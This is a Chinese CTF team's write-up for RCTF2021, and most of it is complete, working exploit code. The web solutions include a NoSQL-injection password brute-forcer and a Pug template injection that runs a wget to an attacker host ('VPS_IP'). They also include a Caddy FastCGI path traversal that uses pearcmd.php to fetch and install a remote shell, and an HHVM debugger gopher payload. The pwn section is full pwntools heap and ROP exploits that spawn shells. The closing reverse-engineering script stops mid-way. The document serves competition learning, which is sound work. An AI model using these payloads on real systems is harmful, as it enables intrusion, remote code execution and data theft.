本次RCTF2021主要由南京邮电大学18、19、20级本科的小绿草们组成参与比赛,多亏了大家不懈努力(尤其是pwn手熬夜肝题)才获得了总榜第四名的荣誉。

排行榜纪念:

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

WEB

Easyphp

这题三个点。先是访问/admin对应的路由那在nginx处有个deny all需要绕。这个可以用大小写正常访问。

第二个是访问/admin需要的SESSION['user']。没有的话,就在$app->route('/*'这一个类似AuthMiddleware的地方被redirect.

最后一个是/admin那的读文件。有个./ + 可控数据执行file_get_contents。肯定是最后一步读flag文件。

最后配了环境debug下,注意到一个之前没留意的
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室matchUrl 里发现其实xxx/?xxx的路由也会被匹配到。

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

这样就可以利用/admin?login这样的格式达成stristr($request->url,"login")!==FALSE.

绕waf同理。继续看框架,注意到waf的周期是在before start.而每次request->query是在之后的过程中设置的。除了直接将$_GET赋给request->query外,还有一个额外的步骤:

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

利用这里的parse_url就可以设置新的request-query了。
加上前面大小写绕/admin,最终payload

aDmin%3fdata=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fflag%23login
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

CandyShop

先nosql注入拿到密码。然后注意格式从而pug命令执行。

import requests
import string
import re

url = "http://123.60.21.23:23333/user/login"
proxies = {
    "http":'http://127.0.0.1:1080'
}

def nosql():
    password = ""
    for i in range(1, 100):
        print(i)
        for ch in string.digits + string.ascii_lowercase:
            r = requests.post(url, data={
                "username[$eq]": "rabbit",
                "password[$regex]": f"^{re.escape(password + ch)}"
            })
            if len(r.text) == 2094:
                password += ch
                print(password)
                break

def solve():
    r = requests.post("http://123.60.21.23:23333/shop/order", data={
        "username": "byc",
        "candyname": "byc",
        "address": """233' readonly)
                                    p #{console.log(global.process.mainModule.require("child_process").execSync("wget -q -O- VPS_IP/cat /flag").toString())}"""
    }, cookies={
        'token': 's%3Aj%3A%7B%22_id%22%3A%22613c091e9ce66dcbd78b00b0%22%2C%22username%22%3A%22rabbit%22%2C%22password%22%3A%22e9392d6c6e02792389a04e4a181b4bffdfbb2d8179a671be5b1c010da5d500cc%22%2C%22active%22%3Atrue%7D.s2NeueyMl2Mii8s6xyus1SVPPQ16qCVDKgcOg5q%2FX3k'
    })
    print(r.text)

VerySafe

环境只给了Caddy和php-fpm,所以猜测caddy有可以利用的点

看到环境是Caddy2.4.2,去GitHub找到:
https://github.com/caddyserver/caddy/releases/tag/v2.4.3

看到2.4.3修复了:

?️ Security patch in the FastCGI transport that now sanitizes paths against directory traversal outside the site root. PR #4207.
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

看文件diff可以发现,这个pr主要修复了反向代理FastCGI时,对SCRIPT_NAME过滤不严格导致可以进行目录穿越的漏洞

fpath := r.URL.Path
scriptName := fpath
scriptFilename := filepath.Join(root, scriptName)

而php-fpm执行php文件就是根据fastcgi传入的SCRIPT_FILENAME,所以我们可以目录穿越执行任意php文件,这里因为security.limit_extensions的限制,只允许后缀为.php的文件执行,否则在低版本环境没有这个限制是可以直接LFI的

测试发现%2e%2e%2f..%2f可以进行目录穿越(测试还发现Caddy存在与Nginx一样的,使用cgi模式执行php时,a.jpg/.php将a.jpg当作php解析的问题,但是仍然受security.limit_extensions限制)

现在相当于可以包含远程任意php文件。
远程环境find下发现有pear,用pearcmd.php安装服务器上的马直接命令执行。这里可以直接把目标定为poc.php.虽然安装失败但是文件已经写入了。

curl "http://123.60.21.23:54120//%2e%2e%2f%2e%2e%2f/usr/local/lib/php/pearcmd.php?f=pearcmd&argv=list+install+--installroot+/tmp/+http://VPS_IP/poc.php"

curl "http://123.60.21.23:54120//%2e%2e%2f%2e%2e%2f/tmp/tmp/pear/download/poc.php"

hiphop

远程一个curl直接任意读
/proc/7/cmdline看到远程的命令sudo -u www-data hhvm -m server -dhhvm.server.thread_count=100 -dhhvm.http.default_timeout=1 -dhhvm.server.connection_timeout_seconds=1 -dhhvm.debugger.vs_debug_enable=1 -dhhvm.server.port=8080 -dhhvm.repo.central.path=/tmp/hhvm.hhbc -dhhvm.pid_file=/tmp/hhvm.pid -dhhvm.server.whitelist_exec=true -dhhvm.server.allowed_exec_cmds[]= -dhhvm.server.request_timeout_seconds=1 -dopen_basedir=/var/www/html.
确定是hhvm起的server.使用的是hacklang。注意到有一个option开启了hhvm.debugger.vs_debug_enable=1。即开启了vscode_debug选项。

于是顺藤摸瓜找到

https://github.com/slackhq/vscode-hack/blob/master/docs/debugging.md

这里确认开了选项会默认在8999起一个debug端口。读/proc/net/tcp也可以确认8999有一个server.所以肯定是gopher打这个服务。那直接本地起环境抓包即可。

配环境最大的坑点在

  • vscode + hhvm docker都要在本地
  • 同时debug端口要从docker内部用socat转发出来,
  • 需要hhvm环境 hhvm在kali里没下下来所以直接从镜像里拖出编译好的并把hh_client,hh_server放到/usr/bin
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

配好了docker环境后用vscode测试连接,可以在repl界面进行debug了。

注意到比较麻烦的一点是服务开启了hhvm.server.whitelist_exec=true以及hhvm.server.allowed_exec_cmds[]。导致系统命令都无法执行。(因为看源码里写了check_cmd这个函数,只要是exec一类的基本都被check了)

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

之后找了很久系统命令执行方法。之后阅读其他地方的源码有个popen的执行方式。经审计与测试发现没有进行check_cmd不会被hook。

RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室
RCTF2021 Writeup by X1cT34m-小绿草信息安全实验室

所以最后tcpdump抓包提取数据流,构造好gopher url再编码后直接打即可。

最终payload:
gopher://127.0.0.1:8999/_%257B%2522command%2522:%2522attach%2522,%2522arguments%2522:%257B%2522name%2522:%2522HHVM:%2520Attach%2520to%2520Server%2522,%2522type%2522:%2522hhvm%2522,%2522request%2522:%2522attach%2522,%2522host%2522:%2522localhost%2522,%2522port%2522:8999,%2522remoteSiteRoot%2522:%2522/Users//Downloads/rctfhiphop%2522,%2522localWorkspaceRoot%2522:%2522%2522,%2522configurationTarget%2522:5,%2522sessionId%2522:%2522584ecee5-4dde-4151-a589-fd97c72694d4%2522,%2522sandboxUser%2522:%2522aaa%2522%257D,%2522type%2522:%2522request%2522,%2522seq%2522:2%257D%2500%257B%2522command%2522:%2522initialize%2522,%2522arguments%2522:%257B%2522clientID%2522:%2522vscode%2522,%2522clientName%2522:%2522Visual%2520Studio%2520Code%2522,%2522adapterID%2522:%2522hhvm%2522,%2522pathFormat%2522:%2522path%2522,%2522linesStartAt1%2522:true,%2522columnsStartAt1%2522:true,%2522supportsVariableType%2522:true,%2522supportsVariablePaging%2522:true,%2522supportsRunInTerminalRequest%2522:true,%2522locale%2522:%2522zh-cn%2522,%2522supportsProgressReporting%2522:true,%2522supportsInvalidatedEvent%2522:true,%2522supportsMemoryReferences%2522:true%257D,%2522type%2522:%2522request%2522,%2522seq%2522:1%257D%2500%257B%2522command%2522:%2522threads%2522,%2522type%2522:%2522request%2522,%2522seq%2522:5%257D%2500%257B%2522command%2522:%2522evaluate%2522,%2522arguments%2522:%257B%2522expression%2522:%2522popen('/readflag|base64>/tmp/caoni','r')%2522,%2522context%2522:%2522repl%2522%257D,%2522type%2522:%2522request%2522,%2522seq%2522:6%257D%2500

PWN

ezheap

from pwn import*
def menu(ch):
    p.sendlineafter('choice>>',str(ch))
def add(Type,size,index):
    menu(1)
    p.sendlineafter('type >>',str(Type))
    p.sendlineafter('size>>',str(size))
    p.sendlineafter('idx>>',str(index))
def edit(Type,index,off,value):
    menu(2)
    p.sendlineafter('type >>',str(Type))
    p.sendlineafter('idx>>',str(index))
    p.sendlineafter('element_idx>>',str(off))
    p.sendlineafter('value>>',str(value))
def show(Type, index ,off):
    menu(3)
    p.sendlineafter('type >>',str(Type))
    p.sendlineafter('idx>>',str(index))
    p.sendlineafter('element_idx>>',str(off))
def free(Type,index):
    menu(4)
    p.sendlineafter('type >>',str(Type))
    p.sendlineafter('idx>>',str(index))
def get_recv(S = 1):
    p.recvuntil('value>>\n')
    num = int(p.recvline(),10)
    if S:
        log.info('Num:\t' + hex(num))
    return num
#p = process('./patch')
p = remote('123.60.25.24',20077)
libc = ELF('./libc-2.27.so')

#context.log_level = 'DEBUG'

add(1,0x10000,0)
add(1,0x10000,1)

show(2,0x401,0xA004)
low_word = get_recv()
show(2,0x401,0xA005)
high_word = get_recv()

libc_base = (low_word + (high_word<<16)) + 0x15000
log.info('LIBC:\t' + hex(libc_base))

show(2,0x401,0xA00E)
low_word = get_recv()
show(2,0x401,0xA00F)
high_word = get_recv()

proc_base = (low_word + (high_word<<16)) - 0x9060
log.info('PIE:\t' + hex(proc_base))

add(3,0x10000,0)
last_sign = 0;
for i in range(0x400):
    show(2,0x401,0x8000 + 2 + 0x10*i)

    Type = get_recv(0)
    if (Type == 4):
        log.info('Type:\t' + hex(Type))
        last_sign = i
        break
log.info('Target_Offset:\t' + hex(last_sign))

def ab_write(last_sign,addr):
    edit(2,0x401,0x8000 + 6 + last_sign*0x10,(addr & 0xFFFF))
    edit(2,0x401,0x8000 + 7 + last_sign*0x10,((addr >> 16)&0xFFFF))
ab_write(last_sign,libc_base + libc.sym['environ'])
show(3,0,0)
stack = get_recv(0)
log.info('Stack:\t' + hex(stack))
ab_write(last_sign,stack - 0xD0 - 0x30)

edit(3,0,0,libc_base + 0x3CCF7)
p.interactive()

game

from pwn import*

p = process('./game')
p = remote('123.60.25.24',20000)
libc = ELF('./libc-2.31.so')
payload  = '\x02\x01'*6 + '\x02\x03\x03\x20' + '\x02\x00' + '\x02\x01'*7
payload += '\x11\x02\xB0' + '\x12' + '\x02\x01'
payload += '\x11\x02\xB0' + '\x12' 
payload += '\x11\x02\xB0' + '\x12' + '\x02\x01'
payload += '\x11\x02\xB0' + '\x12' 
payload += '\x11\x02\xB0' + '\x12' + '\x02\x01'
payload += '\x11\x02\xB0' + '\x12'
payload += '\x02\x01\x02\x02'*0x10
payload += '\x13'
payload += '\x02\x01'
payload += '\x12'

payload += '\x11\x01\x02'
payload += '\x11\x01\x02' + '\x02\x01'
payload += '\x11\x01\x90' + '\x02\x01'
payload += '\x12' + '\x02\x01'
payload += '\x11\x01\xB0' + '\x02\x01'
payload += '\x11\x01\xB0' + '\x02\x01'
payload += '\x11\x02\x40' + '\x12' + '\x02\x01'
payload += '\x11\x02\x40' + '\x12' + '\x02\x01'
payload += '\x11\x02\xF0' + '\x02\x01'
payload += '\x11\x01\x90' + '\x02\x01' + '\x12'

payload += '\x02\x01'*2 + '\x11\x02\xB0'
payload += '\x11\x02\x90'
payload += '\x11\x02\xE0' # payload
payload += '\x11\x02\xB0' * 6
payload += '\x11\x02\xD0'
payload += '\x11\x02\x90'
payload += '\x11\x01\x40'
payload += '\x11\x01\x40' + '\x12'
p.sendlineafter('length:',str(len(payload) + 1))
#gdb.attach(p,'b *$rebase(0x2805)')
p.sendlineafter('spell:',payload)
for i in range(6):
    p.sendline('FMYY')

p.sendafter('the dragon?','\xA0\x36')
p.sendafter('the dragon?','\x11\x36')

p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?','\x00'*0x18 + p64(0x851))
p.sendlineafter('the dragon?','\x00'*0x8F + p64(0xFBAD1800) + p64(0)*3 + '\x08')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.info('LIBC:\t' + hex(libc_base))
for i in range(3):
    p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?','\x00'*0xA0 + p64(0x7FFFFFFFFFFFFF))
p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?',payload)
for i in range(6):
    p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?',p64(0x36A0) + p64(0) + p64(0) + p64(0xc1) + p64(0x00000000000F4240) + p64(0x0000000000000FC4) )
p.sendlineafter('the dragon?','\x00'*0x50 + p64(libc_base + libc.sym['__free_hook'] - 8))

p.sendlineafter('the dragon?','FMYY')
p.sendlineafter('the dragon?','/bin/sh\x00' + p64(libc_base + libc.sym['system']))
p.interactive()

pokeman

from pwn import*
def menu(ch):
    p.sendlineafter('Choice: ',str(ch))
def add(Type,size,index):
    menu(1)
    menu(Type)
    if Type == 1:
        p.sendlineafter('to be?',str(size)) # [0x80:0x380]
    p.sendlineafter('[0/1]',str(index))
def free(index):
    menu(2)
    p.sendlineafter('[0/1]',str(index))
    menu(1)
def show(index):
    menu(2)
    p.sendlineafter('[0/1]',str(index))
    menu(2)
def edit(index,content):
    menu(2)
    p.sendlineafter('[0/1]',str(index))
    menu(3)
    p.sendafter('You say:',content)

p = process('./main')
p = remote('123.60.25.24',8888)
libc =  ELF('./libc-2.31.so')
p.sendlineafter('input your name:','\x00'*0x8)

for i in range(7):
    add(1,0x100,0)
    free(0)
for i in range(7):
    add(1,0x110,0)
    free(0)
for i in range(7):
    add(1,0x200,0)
    free(0)

for i in range(7):
    add(1,0x270,0)
    free(0)
add(1,0x270,0)
add(1,0x270,1)
free(0)
add(1,0x280,0)
free(0)
add(1,0x280,0)
free(0)
free(1)
#########################

add(1,0x100,1)
add(1,0x110,0) # target

free(1)
add(1,0x1F0,1)
free(0)

add(2,0x999,0)
edit(0,'\x00'*0x10*16 + p64(0) + p64(0x201 + 0xD0 + 0x290))
free(0)
p.sendline('Y')

add(1,0xC0,0)
free(1)
add(1,0x200,1)
free(1)
add(1,0x1F0,1)

menu(3)
p.sendline('1')

p.recvuntil('gem: ')
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))  - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))
p.sendline('Y')
p.sendafter('password: ',p64((libc_base + libc.sym['__malloc_hook'] - 0x34) ^ (libc_base + libc.sym['__malloc_hook'] + 0x70))  + p64(0)*5)

free(1)
add(3,0x999,1)
edit(1,'\x00'*(0x14 - 8) + p64(libc_base + 0xE6C81) + p64(libc_base + libc.sym['realloc'] + 24) + '\n')
free(1)
p.sendline('Y')
menu(1)
menu(1)
##############
p.sendlineafter('to be?',str(0x380)) # [0x80:0x380]
p.sendline('cat flag')
p.interactive()

sharing

from pwn import*
def menu(ch):
    p.sendlineafter('Choice:',str(ch))
def add(index,size):
    menu(1)
    p.sendlineafter('Idx:',str(index))
    p.sendlineafter('Sz:',str(size))
def show(index):
    menu(3)
    p.sendlineafter('Idx:',str(index))
def edit(index,content):
    menu(4)
    p.sendlineafter('Idx:',str(index))
    p.sendlineafter('Content:',content)
def clone(F,T):
    menu(2)
    p.sendlineafter('From:',str(F))
    p.sendlineafter('To:',str(T))
def gift(addr):
    menu(0xDEAD)
    p.sendlineafter('Hint:',p64(0x600002F707991) + p64(0))
    p.sendlineafter('Addr:',str(addr))
p = process('./main')
p = remote('124.70.137.88',30000)
libc = ELF('./libc-2.27.so')
add(0,0x500)
add(1,0x100)
clone(1,0)

add(2,0x8)

show(2)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x10 - 1168
log.info('LIBC:\t' + hex(libc_base))

add(3,0x100)
add(4,0x100)
clone(2,3)
clone(3,4)

add(3,0x100)
show(3)

heap_base = u64(p.recvuntil('\x00'*8,drop=True)[-6:].ljust(8,'\x00')) - 0x620 - 0x13000
log.info('HAEP:\t' + hex(heap_base))

add(5,0x1850)
add(6,0x95E0)
for i in range(8):
    add(7 + i,0xB0)
gift((libc_base + 0x3ED940 + 1))

edit(5,'\x00'*0x71*8 + p64(libc_base + 0x10A41C))
clone(4,5)
clone(5,6)

for i in range(8):
    clone(6 + i,7 + i)
add(0x12,0x10000)

p.interactive()

musl

from pwn import*
r=remote('123.60.25.24',12345)
#r=process('./main')
context.log_level='debug'

libc=ELF('./libc.so')

def new(idx,size,content):
    r.recvuntil('>>')
    r.sendline('1')
    r.recvline()
    r.sendline(str(idx))
    r.recvline()
    r.sendline(str(size))
    r.recvline()
    r.send(content)

def delete(idx):
    r.recvuntil('>>')
    r.sendline('2')
    r.recvline()
    r.sendline(str(idx))

def show(idx):
    r.recvuntil('>>')
    r.sendline('3')
    r.recvline()
    r.sendline(str(idx))

for i in range(15): new(i,0xC,'a'*0xB)
delete(0)

new(0,0,'b'*0xF+'\n')
show(0)

r.recvline()
libc_base=u64(r.recvline()[:-1]+p16(0))-0x298D50
success('libc_base: '+hex(libc_base))

#libc_base=r.libs()['/home/kagehutatsu/Downloads/aaaa/musl-1.2.2/build/lib/libc.so']

malloc_context=libc_base+libc.sym['__malloc_context']
opendir=libc_base+libc.sym['opendir']
readdir=libc_base+libc.sym['readdir']
#execveat=libc_base+libc.sym['execveat']

delete(2)

new(2,0,'d'*0xF+'\n')
show(2)
r.recvline()
chunk_addr=u64(r.recvline()[:-1]+p16(0))-0x40
success('chunk_addr: '+hex(chunk_addr))

delete(4)
new(4,0,'\x00'*0x10+p64(malloc_context)+p64(0x100)+'\x00'*0x10+p64(libc_base+libc.sym['environ'])+'\x00\n')
show(5)

r.recvuntil(': ')
secret=u64(r.recvline()[:8])
success('secret: '+hex(secret))

show(6)
r.recvuntil(': ')
stack=u64(r.recvline()[:-1]+p16(0))-0xa0
success('stack: '+hex(stack))

mem_addr=libc_base+0x292aa0
success('mem_addr: '+hex(mem_addr))
sc=10
freeable=1
last_idx=0
maplen=4
padding=0x1000-(mem_addr%0x1000)

payload=''
payload+='\x00'*padding
fake_meta=''
fake_meta+=p64(malloc_context+0x98)
fake_meta+=p64(mem_addr+padding+0x60)
fake_meta+=p64(mem_addr+padding+0x40)
fake_meta+=p32(0)+p32(0)
fake_meta+=p64((maplen<<12)|(sc<<6)|(freeable<<5)|last_idx)
fake_meta+=p64(0)
payload+=p64(secret)
payload+=p64(0)
payload+=fake_meta
payload+=p64(mem_addr+padding+0x10)
payload+=p64(1)
payload+=p64(0)+p64(0x0001000000000000)
fake_meta=''
fake_meta+=p64(mem_addr+padding+60)*2
fake_meta+=p64(stack)
fake_meta+=p32(1)+p32(0)
fake_meta+=p64((1<<12)|(sc<<6)|last_idx)
payload+=fake_meta
payload+='/home/ctf/flag/0_l78zflag\x00'

for i in range(12): new(12,0xC,'g'*0xB)
new(13,0xC,'g'*0xB)
new(14,0x1000,'\n')
new(14,0x1000,'\n')
new(15,0x1000,payload+'\n')
new(14,0x1000,'\n')

payload=''
payload+=p64(mem_addr+padding+0x10)
payload+=p64(0x0010100000000001)
payload+=p64(mem_addr+padding+0x60)
payload+=p64(0x0001000000000000)
payload+='\x00'*0x10
delete(7)

r.recvuntil('>>')
r.sendline('1')
r.recvline()
r.sendline(str(7))
r.recvline()
r.sendline(str(0))
r.recvline()
r.sendline(payload)

delete(8)

pop_rax=libc_base+0x1b8fd
pop_rdi=libc_base+0x14b82
pop_rsi=libc_base+0x1b27a
pop_rdx=libc_base+0x9328
syscall=libc_base+0x23711

"""payload=''
payload+=p64(pop_rdi)+p64(mem_addr+padding+0x88)+p64(opendir)
payload+=p64(libc_base+0x4364e)+p64(readdir)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)+p64(pop_rdx)+p64(0x100)+p64(syscall)"""
#gdb.attach(r)
payload=''
payload+=p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(mem_addr+padding+0x88)+p64(pop_rsi)+p64(0)+p64(syscall)
payload+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(chunk_addr)+p64(syscall)
payload+=p64(pop_rax)+p64(1)+p64(pop_rdi)+p64(1)+p64(syscall)

new(0,0xa0,payload+'\n')

r.interactive()

unistruct

from pwn import*
def menu(ch):
    p.sendlineafter('Choice:',str(ch))
def add(index,Type,value):
    menu(1)
    p.sendlineafter('Index:',str(index))
    p.sendlineafter('Type:',str(Type))
    p.sendlineafter('Value:',str(value))
def edit(index,value):
    menu(2)
    p.sendlineafter('Index:',str(index))
    p.sendline(value)

def show(index):
    menu(3)
    p.sendlineafter('Index:',str(index))
def free(index):
    menu(4)
    p.sendlineafter('Index:',str(index))

p = process('./main')
#context.log_level = 'DEBUG'
p = remote('124.70.137.88',40000)
libc = ELF('./libc-2.27.so')
'''
Type1:
    Save A  Word Value
Type2:
    Save A Dword Value
Type3:
    Save A String
    struct Data_Note {
        size_t *Mem
        size_t  Length
        char    buf[0x10] // if len < 0x10,the string will be saved here
        size_t  Type
    }
Type4:
    Alloc uint32_t buffer
    struct Data_Note {
        size_t *Start
        size_t *Now
        size_t *End
        size_t  Other
        size_t  Type
    }
'''

add(1,4,str(0x120))
add(2,4,str(0x120))

menu(2)
p.sendlineafter('Index:',str(1))
for i in range(0x120):
    p.sendlineafter('Append or in place, 1 for in place:',str(0))
    p.sendlineafter('New value:',str(0xDEADBEEF))

p.recvuntil('Old value: ')
low_word = int(p.recvline(),10)

p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(low_word))
p.recvuntil('Old value: ')
high_word = int(p.recvline(),10)
libc_base = low_word + (high_word<<32) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base) )
p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(0xCAFEBABE))

add(0,4,str(0x120))

add(3,4,str(0x10))

menu(2)
p.sendlineafter('Index:',str(3))
for i in range(0x10):
    p.sendlineafter('Append or in place, 1 for in place:',str(0))
    p.sendlineafter('New value:',str(0xDEADBEEF))

free_hook = libc_base + libc.sym['__free_hook']
p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(((free_hook - 8) & 0xFFFFFFFF)))

p.sendlineafter('Append or in place, 1 for in place:',str(1))
p.sendlineafter('New value:',str(((free_hook >> 32) & 0xFFFFFFFF)))

p.sendlineafter('Append or in place, 1 for in place:',str(0))
p.sendlineafter('New value:',str(0xCAFEBABE))

add(4,3,'F'*0x40)

add(5,3,'/bin/sh\x00' + p64(libc_base + libc.sym['system']) + '\x00'*0x10)
p.interactive()

catch_the_frog

数据传输的逻辑
\xb9
\x80-\x83
padding need to be ==4
\x84-\x86
choice
\x80-\x83
index
\x80-\x83
size
\xBD
\x80-\x83
len context
\x80 1bytes \x81 2bytes \x82 4bytes \x83 8bytes
漏洞点有两个,一个是index传输时候寻找堆块时候没有校验越界,只校验了指针是否指0
还有一个是feed函数时候校验<7没有异常退出,导致了++操作仍然执行导致的堆溢出。
两个漏洞都可以编写本地可通的exp,但index越界因为对堆布局相对偏移关系依赖较强,本地跟远程的偏移不相同导致远程无法跑通。
feed没有异常校验EXP:

from pwn import*

#list 20B380
p=remote('124.70.137.88',10000)
#p = process('./catch_the_frog')
#elf=ELF('./catch_the_frog')
#libc=elf.libc
libc = ELF('./libc-2.27.so')
def gd(cmd=''):
    gdb.attach(p,cmd)

def feed(index):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x00'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)

def add(index,size):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x01'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80' + chr(size) # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def edit(index,content):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x02'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x83' + p64(len(content)) + content
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def show(index):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x03'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def free(index):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x04'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)

add(0,0xF0)
for i in range(8):
    add(i+1,0xf0)

for i in range(0x50):
    feed(0)
edit(0,'a'*0xf0+'a'*0xf+'b')
show(0)
p.recvuntil('ab')
leak=u64(p.recv(6).ljust(8,'\x00'))
edit(0,'a'*0xf0+p64(0)+p64(0x21)+p64(leak)+p64(0xf0)+p64(0)+p64(0x461))
free(1)
add(1,0x80)
show(1)
#p.interactive()
p.recvuntil('rom ')
leak=u64(p.recv(6).ljust(8,'\x00'))
print hex(leak)
lbase=leak-1120-0x10-libc.symbols['__malloc_hook']
edit(0,'a'*0xf0+p64(0)+p64(0x21)+p64(lbase+libc.symbols['__free_hook'])+p64(0xf0))
edit(1,p64(lbase+libc.symbols['system']))
edit(0,'/bin/sh\x00')
free(0)

p.interactive()

Index未校验下标EXP:

from pwn import*

#list 20B380
#p=remote('124.70.137.88',10000)
p = process('./catch_the_frog')
elf=ELF('./catch_the_frog')
libc=elf.libc
#libc = ELF('./libc-2.27.so')
def gd(cmd=''):
    gdb.attach(p,cmd)

def add(index,size):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x01'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80' + chr(size) # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def edit(index,content):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x02'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x83' + p64(len(content)) + content
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def show(index):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x03'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def free(index):
    payload  = '\xB9\x80\x04'
    payload += '\x84' + '\x04'      # choice
    payload += '\x83' + p64(index)    # index
    payload += '\x80\x00'         # size
    payload += '\xBD\x80\x00'
    p.sendlineafter('length:',str(len(payload)))
    p.sendlineafter('request:',payload)
def aat(adr):
    edit(0,p64(hbase+0x136a0)+p64(0xffff))
    edit((0x560a1885b580-0x560a18859e70)/8,p64(adr))#2 can aar aaw
add(0,0xF0)
add(1,0xF0)
add(2,0xF0)
free(0)
free(1)
add(0,0xF0)
show(0)
p.recvuntil('ng from ')
hleak=u64(p.recv(6).ljust(8,'\x00'))
print hex(hleak)
hbase=hleak-0x13480
print hex(hbase)
#gd('b *$rebase(0x30CC)\nc')
for i in range(8):
    add(i+3,0xf0)
aat(hbase+0x137d0)
edit(2,p64(0)+p64(0x461))
free(3)
add(3,0xf0)
show(3)
p.recvuntil('ng from ')
lleak=u64(p.recv(6).ljust(8,'\x00'))
print hex(lleak)
lbase=lleak-1120-libc.symbols['__malloc_hook']-0x10
print hex(lbase)
print hex(lbase+libc.symbols['__free_hook'])
aat(lbase+libc.symbols['__free_hook'])
edit(2,p64(lbase+libc.symbols['system']))
edit(1,'/bin/sh')
free(1)
p.interactive()

RE

LoongArch

longarch汇编
https://github.com/loongson/LoongArch-Documentation/releases/latest/download/LoongArch-Vol1-v1.00-CN.pdf
这是官方文档

def byte_to_bits(b):
    return bin(b)[2:].zfill(8)

def rev_bitrev_8b(r):
    res = []
    for b in r:
        res.append(int(byte_to_bits(b)[::-1],2))
    return bytes(res)

def rev_bitrev_d(r):
    bits = ""
    for b in r:
        bits += byte_to_bits(b)
    bits = bits[::-1]
    res = []
    for i in range(0, len(bits), 8):
        res.append(int(bits[i:i+8], 2))
    return bytes(res)

def xor(a,b):
    return bytes(x^y for x,y in zip(a,b))

FFFF = bytes([0xFF]*8)
t4 = bytes([0x00, 0x05, 0x29, 0x08, 0x55, 0x45, 0x13, 0xC5][::-1])
t5 = bytes([0x18, 0xB9, 0x30, 0xBB, 0x1A, 0x62, 0x6D, 0x00][::-1])
t6 = bytes([0xA1, 0x86, 0x6F, 0x4C, 0x9F, 0x5B, 0x55, 0xBC][::-1])
t7 = bytes([0x6D, 0x62, 0x1A, 0x18, 0xAD, 0x78, 0x0D, 0x05][::-1])
t4 = xor(t4, FFFF)
t5 = xor(t5, FFFF)
t6 = xor(t6, FFFF)
t7 = xor(t7, FFFF)

t0 = rev_bitrev_8b(t4)
t1 = rev_bitrev_8b(t5)
t2 = rev_bitrev_8b(t6)
t3 = rev_bitrev_8b(t7)

t4 = t1[-3:] + t2[:5]
t5 = t2[-3:] + t0[:5]
t6 = t0[-3:] + t3[:5]
t7 = t3[-3:] + t1[:5]

t0 = rev_bitrev_d(t4)
t1 = rev_bitrev_d(t5)
t2 = rev_bitrev_d(t6)
t3 = rev_bitrev_d(t7)

t4 = bytes([0x9D, 0x05, 0xB3, 0x05, 0xD1, 0xF3, 0x05, 0x82][::-1])
t5 = bytes([0xF3, 0x49, 0x33, 0x09, 0xB3, 0xCE, 0x9A, 0xA8][::-1])
t6 = bytes([0x84, 0xB9, 0xAB, 0xBC, 0xAD, 0xB5, 0x3D, 0xD5][::-1])
t7 = bytes([0xD4, 0xC2, 0xD2, 0xD9, 0xBF, 0xA0, 0xCE, 0x39][::-1])

t0 = xor(t0,t4)
t1 = xor(t1,t5)
t2 = xor(t2,t6)
t3 = xor(t3,t7)
